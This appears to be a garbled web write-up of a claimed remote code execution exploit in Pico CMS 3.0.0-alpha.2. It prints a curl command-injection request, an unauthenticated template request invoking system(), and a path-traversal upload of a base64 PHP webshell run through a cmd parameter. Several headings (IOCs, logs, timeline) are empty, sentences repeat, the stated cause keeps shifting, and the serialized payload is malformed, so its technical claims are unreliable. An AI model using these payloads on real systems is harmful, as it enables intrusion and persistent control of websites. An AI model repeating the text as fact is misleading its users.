Pico 3.0.0-alpha.2 Exploit

The vulnerability exists in the Pico::getPageData() method. In versions prior to 3.0.0, user input was sanitized strictly. However, in 3.0.0-alpha.2, the developers introduced a performance optimization that caches compiled Twig templates based on file modification times.

The exploit works as follows:

The attacker sends a POST request to the index page with a malicious YAML payload in the X-Pico-Debug header (or a theme parameter).

curl -X POST https://victim.com/pico/ \
  -H "X-Pico-Debug: !php/object \"O:1:\"S\":1:s:4:\"exec\";s:18:\"system('id > pwn.txt')\";\"" \
  -d "content=test"

If you suspect that a Pico 3.0.0-alpha.2 instance has been compromised, look for the following Indicators of Compromise (IOCs):

Log Anomalies (Access Logs):

File System Indicators:

Network Indicators:

In a secure Pico installation, Twig templates are sandboxed to prevent _self.env.registerUndefinedFilterCallback("exec") style attacks. However, in alpha.2, the allowed_functions blacklist was incomplete.

The Exploit Payload: An attacker submits a crafted HTTP POST request to the theme preview endpoint (which does not require authentication in alpha builds): Pico 3.0.0-alpha.2 Exploit

POST /?action=preview_theme HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

theme_template=shell&content=map('system')

Why this works:

The root cause lies in a dangerous combination of two features introduced in the alpha branch: Twig template caching and YAML parameter parsing. The vulnerability exists in the Pico::getPageData() method

While Pico 3.0.0-alpha.2 is not designed for high-traffic public sites, the exploit has been observed in the wild targeting:

If successfully exploited, an attacker can:

Command injection via system() is noisy and may be limited by disable_functions in php.ini. The advanced exploit leverages a file write vulnerability in the plugin handler to upload a webshell.

The Payload:

POST /admin/plugins/PicoFileWrite/ HTTP/1.1
Content-Disposition: form-data; name="file_path"; filename="../../plugins/evil.php"
Content-Disposition: form-data; name="file_content"; base64,PD9waHAgZWNobyBTeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=

The server writes a base64-encoded PHP webshell to the plugins directory. The attacker then accesses /?plugin=evil&cmd=ls -la to execute system commands persistently.

To understand how this exploit evolved, review the timeline: